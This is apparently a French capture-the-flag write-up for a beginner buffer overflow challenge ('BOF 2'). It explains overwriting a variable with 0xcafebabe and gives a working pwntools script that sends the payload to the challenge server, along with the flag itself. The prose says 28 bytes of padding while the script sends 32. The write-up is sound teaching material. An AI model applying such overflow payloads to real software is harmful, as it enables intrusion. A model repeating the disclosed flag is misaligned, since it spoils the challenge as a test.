BOF 2

Catégorie: Pwn Difficulté: - Flag: CTFREI{c4f3b4b3_0v3rwr1t3}

Challenge

Description


Deuxième challenge de Buffer Overflow, analyse le script en C qui est donné et tente d'avoir le flag, cette fois-ci avec une petite différence, bon courage !

nc intro.ctfrei.fr 7002

Solution

Comme dans BOF Intro, il va falloir remplir le buffer pour réécrire sur les variables suivantes. Sauf que là, nous devons écrire des valeurs précises. Il faut que check soit égal à 0xcafebabe (ou 3405691582 en base 10).

Nous devons donc envoyer ?? ?? ...28 octets ?? ?? BE BA FE CA 10 puisque la mémoire fonctionne en Little Endian, c'est-à-dire que les valeurs sont sauvegardées à l'envers (le 10 est le retour à la ligne à la fin de notre message).

En python ça donne :

from pwn import remote, context

context.log_level = 'error'
    
client = remote('intro.ctfrei.fr', 7002)
client.recv(2048)
fill_buffer = b'A' * 32
check = 0xcafebabe.to_bytes(4, 'little')
client.sendline(fill_buffer + check)
print(client.recv(2048).decode())
# Félicitations ! Voici le flag : CTFREI{c4f3b4b3_0v3rwr1t3}

Dernière mise à jour

Cet article vous a-t-il été utile ?